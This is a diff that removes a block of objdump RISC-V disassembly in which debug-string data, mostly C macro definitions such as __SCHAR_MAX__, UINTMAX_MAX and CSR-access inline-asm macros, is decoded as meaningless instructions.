-    12a4:	2964696f          	jal	s2,4753a <__stack_size+0x46d3a>
-    12a8:	3020                	fld	fs0,96(s0)
-    12aa:	0029                	c.nop	10
-    12ac:	535f 5f43 454d      	0x454d5f43535f
-    12b2:	4c4d                	li	s8,19
-    12b4:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    12b8:	3432                	fld	fs0,296(sp)
-    12ba:	4300                	lw	s0,0(a4)
-    12bc:	494c                	lw	a1,20(a0)
-    12be:	544e                	lw	s0,240(sp)
-    12c0:	4d5f 4954 454d      	0x454d49544d5f
-    12c6:	20504d43          	fmadd.s	fs10,ft0,ft5,ft4,rmm
-    12ca:	7830                	flw	fa2,112(s0)
-    12cc:	3034                	fld	fa3,96(s0)
-    12ce:	3030                	fld	fa2,96(s0)
-    12d0:	5500                	lw	s0,40(a0)
-    12d2:	4e49                	li	t3,18
-    12d4:	4d54                	lw	a3,28(a0)
-    12d6:	5841                	li	a6,-16
-    12d8:	4d5f 5841 5f00      	0x5f0058414d5f
-    12de:	725f 7165 6975      	0x69757165725f
-    12e4:	6572                	flw	fa0,28(sp)
-    12e6:	6e755f73          	csrrwi	t5,0x6e7,10
-    12ea:	6f6c                	flw	fa1,92(a4)
-    12ec:	64656b63          	bltu	a0,t1,1942 <__stack_size+0x1142>
-    12f0:	2e28                	fld	fa0,88(a2)
-    12f2:	2e2e                	fld	ft8,200(sp)
-    12f4:	2029                	jal	12fe <__stack_size+0xafe>
-    12f6:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    12fc:	615f 6e6e 746f      	0x746f6e6e615f
-    1302:	7461                	lui	s0,0xffff8
-    1304:	2865                	jal	13bc <__stack_size+0xbbc>
-    1306:	6f6c                	flw	fa1,92(a4)
-    1308:	5f736b63          	bltu	t1,s7,18fe <__stack_size+0x10fe>
-    130c:	7865                	lui	a6,0xffff9
-    130e:	64756c63          	bltu	a0,t2,1966 <__stack_size+0x1166>
-    1312:	6465                	lui	s0,0x19
-    1314:	5f28                	lw	a0,120(a4)
-    1316:	565f 5f41 5241      	0x52415f41565f
-    131c:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    1320:	2929                	jal	173a <__stack_size+0xf3a>
-    1322:	4600                	lw	s0,8(a2)
-    1324:	475f 5445 4c46      	0x4c465445475f
-    132a:	3320                	fld	fs0,96(a4)
-    132c:	5f00                	lw	s0,56(a4)
-    132e:	5f5f 6e69 5f74      	0x5f746e695f5f
-    1334:	61686377          	0x61686377
-    1338:	5f72                	lw	t5,60(sp)
-    133a:	5f74                	lw	a3,124(a4)
-    133c:	2068                	fld	fa0,192(s0)
-    133e:	5f00                	lw	s0,56(a4)
-    1340:	535f 5359 4c5f      	0x4c5f5359535f
-    1346:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    134a:	5f48                	lw	a0,60(a4)
-    134c:	205f 5f00 4552      	0x45525f00205f
-    1352:	4e45                	li	t3,17
-    1354:	5f54                	lw	a3,60(a4)
-    1356:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-    135a:	53415f4b          	fnmsub.d	ft10,ft2,fs4,fa0,unknown
-    135e:	4d495443          	0x4d495443
-    1362:	5f45                	li	t5,-15
-    1364:	5542                	lw	a0,48(sp)
-    1366:	2846                	fld	fa6,80(sp)
-    1368:	7470                	flw	fa2,108(s0)
-    136a:	2972                	fld	fs2,280(sp)
-    136c:	0020                	addi	s0,sp,8
-    136e:	4955                	li	s2,21
-    1370:	544e                	lw	s0,240(sp)
-    1372:	414d                	li	sp,19
-    1374:	5f58                	lw	a4,60(a4)
-    1376:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    137a:	5f20                	lw	s0,120(a4)
-    137c:	555f 4e49 4d54      	0x4d544e49555f
-    1382:	5841                	li	a6,-16
-    1384:	435f 6328 0029      	0x296328435f
-    138a:	5f5f 4244 5f4c      	0x5f4c42445f5f
-    1390:	5045                	c.li	zero,-15
-    1392:	4f4c4953          	0x4f4c4953
-    1396:	5f4e                	lw	t5,240(sp)
-    1398:	205f 2828 6f64      	0x6f642828205f
-    139e:	6275                	lui	tp,0x1d
-    13a0:	656c                	flw	fa1,76(a0)
-    13a2:	3229                	jal	cac <__stack_size+0x4ac>
-    13a4:	322e                	fld	ft4,232(sp)
-    13a6:	3032                	fld	ft0,296(sp)
-    13a8:	3434                	fld	fa3,104(s0)
-    13aa:	3036                	fld	ft0,360(sp)
-    13ac:	3934                	fld	fa3,112(a0)
-    13ae:	3532                	fld	fa0,296(sp)
-    13b0:	3330                	fld	fa2,96(a4)
-    13b2:	3331                	jal	10be <__stack_size+0x8be>
-    13b4:	3830                	fld	fa2,112(s0)
-    13b6:	3830                	fld	fa2,112(s0)
-    13b8:	3734                	fld	fa3,104(a4)
-    13ba:	3632                	fld	fa2,296(sp)
-    13bc:	36333333          	0x36333333
-    13c0:	3831                	jal	bdc <__stack_size+0x3dc>
-    13c2:	3631                	jal	ece <__stack_size+0x6ce>
-    13c4:	3034                	fld	fa3,96(s0)
-    13c6:	3236                	fld	ft4,360(sp)
-    13c8:	2d65                	jal	1a80 <__stack_size+0x1280>
-    13ca:	3631                	jal	ed6 <__stack_size+0x6d6>
-    13cc:	294c                	fld	fa1,144(a0)
-    13ce:	6600                	flw	fs0,8(a2)
-    13d0:	7265                	lui	tp,0xffff9
-    13d2:	6f72                	flw	ft10,28(sp)
-    13d4:	2872                	fld	fa6,280(sp)
-    13d6:	2970                	fld	fa2,208(a0)
-    13d8:	5f20                	lw	s0,120(a4)
-    13da:	735f 6566 7272      	0x72726566735f
-    13e0:	7028726f          	jal	tp,88ae2 <__stack_size+0x882e2>
-    13e4:	0029                	c.nop	10
-    13e6:	656d                	lui	a0,0x1b
-    13e8:	636d                	lui	t1,0x1b
-    13ea:	7970                	flw	fa2,116(a0)
-    13ec:	5f00                	lw	s0,56(a4)
-    13ee:	645f 6165 3264      	0x32646165645f
-    13f4:	5f20                	lw	s0,120(a4)
-    13f6:	615f 7474 6972      	0x69727474615f
-    13fc:	7562                	flw	fa0,56(sp)
-    13fe:	6574                	flw	fa3,76(a0)
-    1400:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    1406:	6f6e                	flw	ft10,216(sp)
-    1408:	6572                	flw	fa0,28(sp)
-    140a:	7574                	flw	fa3,108(a0)
-    140c:	6e72                	flw	ft8,28(sp)
-    140e:	5f5f 2929 5f00      	0x5f0029295f5f
-    1414:	4552                	lw	a0,20(sp)
-    1416:	4e45                	li	t3,17
-    1418:	5f54                	lw	a3,60(a4)
-    141a:	5341                	li	t1,-16
-    141c:	4d495443          	0x4d495443
-    1420:	5f45                	li	t5,-15
-    1422:	455a4953          	0x455a4953
-    1426:	3220                	fld	fs0,96(a2)
-    1428:	0036                	c.slli	zero,0xd
-    142a:	5f5f 4955 544e      	0x544e49555f5f
-    1430:	5f38                	lw	a4,120(a4)
-    1432:	5954                	lw	a3,52(a0)
-    1434:	4550                	lw	a2,12(a0)
-    1436:	5f5f 7520 736e      	0x736e75205f5f
-    143c:	6769                	lui	a4,0x1a
-    143e:	656e                	flw	fa0,216(sp)
-    1440:	2064                	fld	fs1,192(s0)
-    1442:	72616863          	bltu	sp,t1,1b72 <__stack_size+0x1372>
-    1446:	4400                	lw	s0,8(s0)
-    1448:	414d                	li	sp,19
-    144a:	435f 5f48 5443      	0x54435f48435f
-    1450:	4c52                	lw	s8,20(sp)
-    1452:	4f5f 4646 3020      	0x302046464f5f
-    1458:	3478                	fld	fa4,232(s0)
-    145a:	0034                	addi	a3,sp,8
-    145c:	495f 4946 4f46      	0x4f464946495f
-    1462:	3020                	fld	fs0,96(s0)
-    1464:	3130                	fld	fa2,96(a0)
-    1466:	3030                	fld	fa2,96(s0)
-    1468:	3030                	fld	fa2,96(s0)
-    146a:	5f00                	lw	s0,56(a4)
-    146c:	4552                	lw	a0,20(sp)
-    146e:	4e45                	li	t3,17
-    1470:	5f54                	lw	a3,60(a4)
-    1472:	424d                	li	tp,19
-    1474:	454c                	lw	a1,12(a0)
-    1476:	5f4e                	lw	t5,240(sp)
-    1478:	54415453          	0x54415453
-    147c:	2845                	jal	152c <__stack_size+0xd2c>
-    147e:	7470                	flw	fa2,108(s0)
-    1480:	2972                	fld	fs2,280(sp)
-    1482:	2820                	fld	fs0,80(s0)
-    1484:	7028                	flw	fa0,96(s0)
-    1486:	7274                	flw	fa3,100(a2)
-    1488:	2d29                	jal	1aa2 <__stack_size+0x12a2>
-    148a:	5f3e                	lw	t5,236(sp)
-    148c:	656e                	flw	fa0,216(sp)
-    148e:	725f2e77          	0x725f2e77
-    1492:	6565                	lui	a0,0x19
-    1494:	746e                	flw	fs0,248(sp)
-    1496:	5f2e                	lw	t5,232(sp)
-    1498:	626d                	lui	tp,0x1b
-    149a:	656c                	flw	fa1,76(a0)
-    149c:	5f6e                	lw	t5,248(sp)
-    149e:	74617473          	csrrci	s0,0x746,2
-    14a2:	2965                	jal	195a <__stack_size+0x115a>
-    14a4:	5f00                	lw	s0,56(a4)
-    14a6:	465f 544c 3233      	0x3233544c465f
-    14ac:	4d5f 4e49 315f      	0x315f4e494d5f
-    14b2:	5f30                	lw	a2,120(a4)
-    14b4:	5845                	li	a6,-15
-    14b6:	5f50                	lw	a2,60(a4)
-    14b8:	205f 2d28 3733      	0x37332d28205f
-    14be:	0029                	c.nop	10
-    14c0:	4f4c                	lw	a1,28(a4)
-    14c2:	474e                	lw	a4,208(sp)
-    14c4:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    14ca:	494d                	li	s2,19
-    14cc:	004e                	c.slli	zero,0x13
-    14ce:	465f 4f4e 4f46      	0x4f464f4e465f
-    14d4:	4c4c                	lw	a1,28(s0)
-    14d6:	3020574f          	fnmadd.s	fa4,ft0,ft2,ft6,unknown
-    14da:	3178                	fld	fa4,224(a0)
-    14dc:	3030                	fld	fa2,96(s0)
-    14de:	3030                	fld	fa2,96(s0)
-    14e0:	0030                	addi	a2,sp,8
-    14e2:	54524853          	0x54524853
-    14e6:	4d5f 4e49 5300      	0x53004e494d5f
-    14ec:	495f 5552 5253      	0x52535552495f
-    14f2:	3020                	fld	fs0,96(s0)
-    14f4:	3030                	fld	fa2,96(s0)
-    14f6:	3430                	fld	fa2,104(s0)
-    14f8:	3030                	fld	fa2,96(s0)
-    14fa:	5f00                	lw	s0,56(a4)
-    14fc:	4546                	lw	a0,80(sp)
-    14fe:	4558                	lw	a4,12(a0)
-    1500:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
-    1504:	2048                	fld	fa0,128(s0)
-    1506:	7830                	flw	fa2,112(s0)
-    1508:	3034                	fld	fa3,96(s0)
-    150a:	3030                	fld	fa2,96(s0)
-    150c:	3030                	fld	fa2,96(s0)
-    150e:	5f00                	lw	s0,56(a4)
-    1510:	555f 4e49 4d54      	0x4d544e49555f
-    1516:	5841                	li	a6,-16
-    1518:	545f 5059 5f45      	0x5f455059545f
-    151e:	205f 6f6c 676e      	0x676e6f6c205f
-    1524:	6c20                	flw	fs0,88(s0)
-    1526:	20676e6f          	jal	t3,7772c <__stack_size+0x76f2c>
-    152a:	6e75                	lui	t3,0x1d
-    152c:	6e676973          	csrrsi	s2,0x6e6,14
-    1530:	6465                	lui	s0,0x19
-    1532:	6920                	flw	fs0,80(a0)
-    1534:	746e                	flw	fs0,248(sp)
-    1536:	5f00                	lw	s0,56(a4)
-    1538:	465f 544c 3231      	0x3231544c465f
-    153e:	5f38                	lw	a4,120(a4)
-    1540:	494d                	li	s2,19
-    1542:	5f4e                	lw	t5,240(sp)
-    1544:	5845                	li	a6,-15
-    1546:	5f50                	lw	a2,60(a4)
-    1548:	205f 2d28 3631      	0x36312d28205f
-    154e:	29313833          	0x29313833
-    1552:	5f00                	lw	s0,56(a4)
-    1554:	535f 4454 5f43      	0x5f434454535f
-    155a:	5455                	li	s0,-11
-    155c:	5f46                	lw	t5,112(sp)
-    155e:	5f5f3233          	0x5f5f3233
-    1562:	3120                	fld	fs0,96(a0)
-    1564:	5f00                	lw	s0,56(a4)
-    1566:	495f 544e 4c5f      	0x4c5f544e495f
-    156c:	4145                	li	sp,17
-    156e:	36315453          	0x36315453
-    1572:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1578:	3020                	fld	fs0,96(s0)
-    157a:	3778                	fld	fa4,232(a4)
-    157c:	6666                	flw	fa2,88(sp)
-    157e:	0066                	c.slli	zero,0x19
-    1580:	6e69                	lui	t3,0x1a
-    1582:	73727473          	csrrci	s0,0x737,4
-    1586:	5f00                	lw	s0,56(a4)
-    1588:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    158e:	4e49                	li	t3,18
-    1590:	5449                	li	s0,-14
-    1592:	525f 4345 5255      	0x52554345525f
-    1598:	45564953          	0x45564953
-    159c:	6328                	flw	fa0,64(a4)
-    159e:	616c                	flw	fa1,68(a0)
-    15a0:	6c2c7373          	csrrci	t1,0x6c2,24
-    15a4:	296b636f          	jal	t1,b783a <__stack_size+0xb703a>
-    15a8:	7320                	flw	fs0,96(a4)
-    15aa:	6174                	flw	fa3,68(a0)
-    15ac:	6974                	flw	fa3,84(a0)
-    15ae:	6e692063          	0x6e692063
-    15b2:	2074                	fld	fa3,192(s0)
-    15b4:	6f6c                	flw	fa1,92(a4)
-    15b6:	3d206b63          	bltu	zero,s2,198c <__stack_size+0x118c>
-    15ba:	3020                	fld	fs0,96(s0)
-    15bc:	4d5f003b          	0x4d5f003b
-    15c0:	4341                	li	t1,16
-    15c2:	5348                	lw	a0,36(a4)
-    15c4:	4454                	lw	a3,12(s0)
-    15c6:	494c                	lw	a1,20(a0)
-    15c8:	5f42                	lw	t5,48(sp)
-    15ca:	5f48                	lw	a0,60(a4)
-    15cc:	0020                	addi	s0,sp,8
-    15ce:	5f5f 7562 6c69      	0x6c6975625f5f
-    15d4:	6974                	flw	fa3,84(a0)
-    15d6:	5f6e                	lw	t5,248(sp)
-    15d8:	656d                	lui	a0,0x1b
-    15da:	736d                	lui	t1,0xffffb
-    15dc:	7465                	lui	s0,0xffff9
-    15de:	5f00                	lw	s0,56(a4)
-    15e0:	5f535953          	0x5f535953
-    15e4:	54415453          	0x54415453
-    15e8:	485f 0020 5f53      	0x5f530020485f
-    15ee:	5849                	li	a6,-14
-    15f0:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
-    15f4:	3030                	fld	fa2,96(s0)
-    15f6:	3030                	fld	fa2,96(s0)
-    15f8:	3130                	fld	fa2,96(a0)
-    15fa:	0030                	addi	a2,sp,8
-    15fc:	535f 5f43 4553      	0x45535f43535f
-    1602:	5f4d                	li	t5,-13
-    1604:	4156                	lw	sp,84(sp)
-    1606:	554c                	lw	a1,44(a0)
-    1608:	5f45                	li	t5,-15
-    160a:	414d                	li	sp,19
-    160c:	2058                	fld	fa4,128(s0)
-    160e:	3731                	jal	151a <__stack_size+0xd1a>
-    1610:	5f00                	lw	s0,56(a4)
-    1612:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    1616:	454e                	lw	a0,208(sp)
-    1618:	5458                	lw	a4,44(s0)
-    161a:	4c5f 4d49 5449      	0x54494d494c5f
-    1620:	00485f53          	fadd.s	ft10,fa6,ft4,unknown
-    1624:	415f 534e 4449      	0x4449534e415f
-    162a:	4345                	li	t1,17
-    162c:	5f4c                	lw	a1,60(a4)
-    162e:	5f48                	lw	a0,60(a4)
-    1630:	0020                	addi	s0,sp,8
-    1632:	5f5f 4955 544e      	0x544e49555f5f
-    1638:	3631                	jal	1144 <__stack_size+0x944>
-    163a:	545f 5059 5f45      	0x5f455059545f
-    1640:	205f 6873 726f      	0x726f6873205f
-    1646:	2074                	fld	fa3,192(s0)
-    1648:	6e75                	lui	t3,0x1d
-    164a:	6e676973          	csrrsi	s2,0x6e6,14
-    164e:	6465                	lui	s0,0x19
-    1650:	6920                	flw	fs0,80(a0)
-    1652:	746e                	flw	fs0,248(sp)
-    1654:	5f00                	lw	s0,56(a4)
-    1656:	525f4353          	0x525f4353
-    165a:	5741                	li	a4,-16
-    165c:	535f 434f 454b      	0x454b434f535f
-    1662:	5354                	lw	a3,36(a4)
-    1664:	3720                	fld	fs0,104(a4)
-    1666:	0030                	addi	a2,sp,8
-    1668:	6f647473          	csrrci	s0,0x6f6,8
-    166c:	7475                	lui	s0,0xffffd
-    166e:	2820                	fld	fs0,80(s0)
-    1670:	525f 4545 544e      	0x544e4545525f
-    1676:	3e2d                	jal	11b0 <__stack_size+0x9b0>
-    1678:	735f 6474 756f      	0x756f6474735f
-    167e:	2974                	fld	fa3,208(a0)
-    1680:	5f00                	lw	s0,56(a4)
-    1682:	455f 5058 4d00      	0x4d005058455f
-    1688:	4f5a                	lw	t5,148(sp)
-    168a:	454e                	lw	a0,208(sp)
-    168c:	415f 5444 4d49      	0x4d495444415f
-    1692:	4345                	li	t1,17
-    1694:	504d                	c.li	zero,-13
-    1696:	7628                	flw	fa0,104(a2)
-    1698:	6c61                	lui	s8,0x18
-    169a:	2029                	jal	16a4 <__stack_size+0xea4>
-    169c:	7361                	lui	t1,0xffff8
-    169e:	206d                	jal	1748 <__stack_size+0xf48>
-    16a0:	6f76                	flw	ft10,92(sp)
-    16a2:	616c                	flw	fa1,68(a0)
-    16a4:	6974                	flw	fa3,84(a0)
-    16a6:	656c                	flw	fa1,76(a0)
-    16a8:	2820                	fld	fs0,80(s0)
-    16aa:	2220                	fld	fs0,64(a2)
-    16ac:	766d                	lui	a2,0xffffb
-    16ae:	6120                	flw	fs0,64(a0)
-    16b0:	2c31                	jal	18cc <__stack_size+0x10cc>
-    16b2:	2520                	fld	fs0,72(a0)
-    16b4:	3b30                	fld	fa2,112(a4)
-    16b6:	6d20                	flw	fs0,88(a0)
-    16b8:	2076                	fld	ft0,344(sp)
-    16ba:	3261                	jal	1042 <__stack_size+0x842>
-    16bc:	202c                	fld	fa1,64(s0)
-    16be:	3125                	jal	12e6 <__stack_size+0xae6>
-    16c0:	2220223b          	0x2220223b
-    16c4:	696c                	flw	fa1,84(a0)
-    16c6:	6120                	flw	fs0,64(a0)
-    16c8:	2c30                	fld	fa2,88(s0)
-    16ca:	3720                	fld	fs0,104(a4)
-    16cc:	6d20223b          	0x6d20223b
-    16d0:	6f7a                	flw	ft10,156(sp)
-    16d2:	656e                	flw	fa0,216(sp)
-    16d4:	3a20                	fld	fs0,112(a2)
-    16d6:	3a20                	fld	fs0,112(a2)
-    16d8:	2220                	fld	fs0,64(a2)
-    16da:	2272                	fld	ft4,280(sp)
-    16dc:	2828                	fld	fa0,80(s0)
-    16de:	6975                	lui	s2,0x1d
-    16e0:	746e                	flw	fs0,248(sp)
-    16e2:	745f3233          	0x745f3233
-    16e6:	7629                	lui	a2,0xfffea
-    16e8:	6c61                	lui	s8,0x18
-    16ea:	2c29                	jal	1904 <__stack_size+0x1104>
-    16ec:	2220                	fld	fs0,64(a2)
-    16ee:	2272                	fld	ft4,280(sp)
-    16f0:	2828                	fld	fa0,80(s0)
-    16f2:	6975                	lui	s2,0x1d
-    16f4:	746e                	flw	fs0,248(sp)
-    16f6:	745f3233          	0x745f3233
-    16fa:	2829                	jal	1714 <__stack_size+0xf14>
-    16fc:	7528                	flw	fa0,104(a0)
-    16fe:	6e69                	lui	t3,0x1a
-    1700:	3674                	fld	fa3,232(a2)
-    1702:	5f34                	lw	a3,120(a4)
-    1704:	2974                	fld	fa3,208(a0)
-    1706:	6176                	flw	ft2,92(sp)
-    1708:	3e6c                	fld	fa1,248(a2)
-    170a:	333e                	fld	ft6,488(sp)
-    170c:	2932                	fld	fs2,264(sp)
-    170e:	2029                	jal	1718 <__stack_size+0xf18>
-    1710:	203a                	fld	ft0,392(sp)
-    1712:	6122                	flw	ft2,8(sp)
-    1714:	2230                	fld	fa2,64(a2)
-    1716:	202c                	fld	fa1,64(s0)
-    1718:	6122                	flw	ft2,8(sp)
-    171a:	2231                	jal	1826 <__stack_size+0x1026>
-    171c:	202c                	fld	fa1,64(s0)
-    171e:	6122                	flw	ft2,8(sp)
-    1720:	2232                	fld	ft4,264(sp)
-    1722:	2920                	fld	fs0,80(a0)
-    1724:	4c4c003b          	0x4c4c003b
-    1728:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    172c:	494d                	li	s2,19
-    172e:	204e                	fld	ft0,208(sp)
-    1730:	2d28                	fld	fa0,88(a0)
-    1732:	4c4c                	lw	a1,28(s0)
-    1734:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    1738:	414d                	li	sp,19
-    173a:	2058                	fld	fa4,128(s0)
-    173c:	202d                	jal	1766 <__stack_size+0xf66>
-    173e:	4c31                	li	s8,12
-    1740:	294c                	fld	fa1,144(a0)
-    1742:	4100                	lw	s0,0(a0)
-    1744:	5f54                	lw	a3,60(a4)
-    1746:	4c4d5953          	0x4c4d5953
-    174a:	4e49                	li	t3,18
-    174c:	4f465f4b          	fnmsub.q	ft10,fa2,fs4,fs1,unknown
-    1750:	4c4c                	lw	a1,28(s0)
-    1752:	3420574f          	0x3420574f
-    1756:	5f00                	lw	s0,56(a4)
-    1758:	435f4353          	0x435f4353
-    175c:	4f4c                	lw	a1,28(a4)
-    175e:	535f4b43          	fmadd.d	fs6,ft10,fs5,fa0,rmm
-    1762:	4c45                	li	s8,17
-    1764:	4345                	li	t1,17
-    1766:	4954                	lw	a3,20(a0)
-    1768:	36204e4f          	fnmadd.q	ft8,ft0,ft2,ft6,rmm
-    176c:	0031                	c.nop	12
-    176e:	545f 535f 5a49      	0x5a49535f545f
-    1774:	5f45                	li	t5,-15
-    1776:	0020                	addi	s0,sp,8
-    1778:	5f5f 5349 5f4f      	0x5f4f53495f5f
-    177e:	49565f43          	fmadd.s	ft10,fa2,fs5,fs1,unknown
-    1782:	4c424953          	0x4c424953
-    1786:	2045                	jal	1826 <__stack_size+0x1026>
-    1788:	3032                	fld	ft0,296(sp)
-    178a:	3131                	jal	1396 <__stack_size+0xb96>
-    178c:	5f00                	lw	s0,56(a4)
-    178e:	4954                	lw	a3,20(a0)
-    1790:	454d                	li	a0,19
-    1792:	545f 445f 4345      	0x4345445f545f
-    1798:	414c                	lw	a1,4(a0)
-    179a:	4552                	lw	a0,20(sp)
-    179c:	2044                	fld	fs1,128(s0)
-    179e:	5f00                	lw	s0,56(a4)
-    17a0:	53474953          	0x53474953
-    17a4:	5445                	li	s0,-15
-    17a6:	545f 445f 4345      	0x4345445f545f
-    17ac:	414c                	lw	a1,4(a0)
-    17ae:	4552                	lw	a0,20(sp)
-    17b0:	2044                	fld	fs1,128(s0)
-    17b2:	5f00                	lw	s0,56(a4)
-    17b4:	655f 7078 726f      	0x726f7078655f
-    17ba:	6574                	flw	fa3,76(a0)
-    17bc:	2064                	fld	fs1,192(s0)
-    17be:	5f5f 7461 7274      	0x727474615f5f
-    17c4:	6269                	lui	tp,0x1a
-    17c6:	7475                	lui	s0,0xffffd
-    17c8:	5f65                	li	t5,-7
-    17ca:	285f 5f28 765f      	0x765f5f28285f
-    17d0:	7369                	lui	t1,0xffffa
-    17d2:	6269                	lui	tp,0x1a
-    17d4:	6c69                	lui	s8,0x1a
-    17d6:	7469                	lui	s0,0xffffa
-    17d8:	5f79                	li	t5,-2
-    17da:	285f 6422 6665      	0x66656422285f
-    17e0:	7561                	lui	a0,0xffff8
-    17e2:	746c                	flw	fa1,108(s0)
-    17e4:	2922                	fld	fs2,8(sp)
-    17e6:	2929                	jal	1c00 <__stack_size+0x1400>
-    17e8:	5f00                	lw	s0,56(a4)
-    17ea:	465f 544c 3233      	0x3233544c465f
-    17f0:	5f58                	lw	a4,60(a4)
-    17f2:	5045                	c.li	zero,-15
-    17f4:	4f4c4953          	0x4f4c4953
-    17f8:	5f4e                	lw	t5,240(sp)
-    17fa:	205f 2e32 3232      	0x32322e32205f
-    1800:	3430                	fld	fa2,104(s0)
-    1802:	3634                	fld	fa3,104(a2)
-    1804:	3430                	fld	fa2,104(s0)
-    1806:	3239                	jal	1114 <__stack_size+0x914>
-    1808:	3035                	jal	1034 <__stack_size+0x834>
-    180a:	30333133          	0x30333133
-    180e:	3038                	fld	fa4,96(s0)
-    1810:	3438                	fld	fa4,104(s0)
-    1812:	33363237          	lui	tp,0x33363
-    1816:	31363333          	0x31363333
-    181a:	3138                	fld	fa4,96(a0)
-    181c:	3436                	fld	fs0,360(sp)
-    181e:	3630                	fld	fa2,104(a2)
-    1820:	6532                	flw	fa0,12(sp)
-    1822:	312d                	jal	144c <__stack_size+0xc4c>
-    1824:	4636                	lw	a2,76(sp)
-    1826:	00783233          	sltu	tp,a6,t2
-    182a:	5f5f 4c46 3354      	0x33544c465f5f
-    1830:	5832                	lw	a6,44(sp)
-    1832:	485f 5341 495f      	0x495f5341485f
-    1838:	464e                	lw	a2,208(sp)
-    183a:	4e49                	li	t3,18
-    183c:	5449                	li	s0,-14
-    183e:	5f59                	li	t5,-10
-    1840:	205f 0031 415f      	0x415f0031205f
-    1846:	4554                	lw	a3,12(a0)
-    1848:	4958                	lw	a4,20(a0)
-    184a:	5f54                	lw	a3,60(a4)
-    184c:	455a4953          	0x455a4953
-    1850:	3320                	fld	fs0,96(a4)
-    1852:	0032                	c.slli	zero,0xc
-    1854:	535f 5f43 5f32      	0x5f325f43535f
-    185a:	4250                	lw	a2,4(a2)
-    185c:	4f4c5f53          	0x4f4c5f53
-    1860:	45544143          	0x45544143
-    1864:	3120                	fld	fs0,96(a0)
-    1866:	3631                	jal	1372 <__stack_size+0xb72>
-    1868:	4300                	lw	s0,0(a4)
-    186a:	28535253          	0x28535253
-    186e:	2c727363          	bgeu	tp,t2,1b34 <__stack_size+0x1334>
-    1872:	7372                	flw	ft6,60(sp)
-    1874:	2029                	jal	187e <__stack_size+0x107e>
-    1876:	7b28                	flw	fa0,112(a4)
-    1878:	7520                	flw	fs0,104(a0)
-    187a:	736e                	flw	ft6,248(sp)
-    187c:	6769                	lui	a4,0x1a
-    187e:	656e                	flw	fa0,216(sp)
-    1880:	2064                	fld	fs1,192(s0)
-    1882:	6f6c                	flw	fa1,92(a4)
-    1884:	676e                	flw	fa4,216(sp)
-    1886:	7220                	flw	fs0,96(a2)
-    1888:	3b64                	fld	fs1,240(a4)
-    188a:	6920                	flw	fs0,80(a0)
-    188c:	2066                	fld	ft0,88(sp)
-    188e:	5f28                	lw	a0,120(a4)
-    1890:	625f 6975 746c      	0x746c6975625f
-    1896:	6e69                	lui	t3,0x1a
-    1898:	635f 6e6f 7473      	0x74736e6f635f
-    189e:	6e61                	lui	t3,0x18
-    18a0:	5f74                	lw	a3,124(a4)
-    18a2:	2870                	fld	fa2,208(s0)
-    18a4:	7372                	flw	ft6,60(sp)
-    18a6:	2029                	jal	18b0 <__stack_size+0x10b0>
-    18a8:	2626                	fld	fa2,72(sp)
-    18aa:	2820                	fld	fs0,80(s0)
-    18ac:	6e75                	lui	t3,0x1d
-    18ae:	6e676973          	csrrsi	s2,0x6e6,14
-    18b2:	6465                	lui	s0,0x19
-    18b4:	6c20                	flw	fs0,88(s0)
-    18b6:	29676e6f          	jal	t3,77b4c <__stack_size+0x7734c>
-    18ba:	7228                	flw	fa0,96(a2)
-    18bc:	3c202973          	csrr	s2,0x3c2
-    18c0:	3320                	fld	fs0,96(a4)
-    18c2:	2932                	fld	fs2,264(sp)
-    18c4:	6120                	flw	fs0,64(a0)
-    18c6:	76206d73          	csrrsi	s10,0x762,0
-    18ca:	74616c6f          	jal	s8,18010 <__stack_size+0x17810>
-    18ce:	6c69                	lui	s8,0x1a
-    18d0:	2065                	jal	1978 <__stack_size+0x1178>
-    18d2:	2228                	fld	fa0,64(a2)
-    18d4:	72727363          	bgeu	tp,t2,1ffa <__stack_size+0x17fa>
-    18d8:	25206973          	csrrsi	s2,0x252,0
-    18dc:	2c30                	fld	fa2,88(s0)
-    18de:	2220                	fld	fs0,64(a2)
-    18e0:	2320                	fld	fs0,64(a4)
-    18e2:	20727363          	bgeu	tp,t2,1ae8 <__stack_size+0x12e8>
-    18e6:	2c22                	fld	fs8,8(sp)
-    18e8:	2520                	fld	fs0,72(a0)
-    18ea:	2231                	jal	19f6 <__stack_size+0x11f6>
-    18ec:	3a20                	fld	fs0,112(a2)
-    18ee:	2220                	fld	fs0,64(a2)
-    18f0:	723d                	lui	tp,0xfffef
-    18f2:	2822                	fld	fa6,8(sp)
-    18f4:	6472                	flw	fs0,28(sp)
-    18f6:	2029                	jal	1900 <__stack_size+0x1100>
-    18f8:	203a                	fld	ft0,392(sp)
-    18fa:	4b22                	lw	s6,8(sp)
-    18fc:	2822                	fld	fa6,8(sp)
-    18fe:	7372                	flw	ft6,60(sp)
-    1900:	2929                	jal	1d1a <__stack_size+0x151a>
-    1902:	6c65203b          	0x6c65203b
-    1906:	61206573          	csrrsi	a0,0x612,0
-    190a:	76206d73          	csrrsi	s10,0x762,0
-    190e:	74616c6f          	jal	s8,18054 <__stack_size+0x17854>
-    1912:	6c69                	lui	s8,0x1a
-    1914:	2065                	jal	19bc <__stack_size+0x11bc>
-    1916:	2228                	fld	fa0,64(a2)
-    1918:	72727363          	bgeu	tp,t2,203e <__stack_size+0x183e>
-    191c:	30252073          	csrs	medeleg,a0
-    1920:	202c                	fld	fa1,64(s0)
-    1922:	2022                	fld	ft0,8(sp)
-    1924:	72736323          	0x72736323
-    1928:	2220                	fld	fs0,64(a2)
-    192a:	202c                	fld	fa1,64(s0)
-    192c:	3125                	jal	1554 <__stack_size+0xd54>
-    192e:	2022                	fld	ft0,8(sp)
-    1930:	203a                	fld	ft0,392(sp)
-    1932:	3d22                	fld	fs10,40(sp)
-    1934:	2272                	fld	ft4,280(sp)
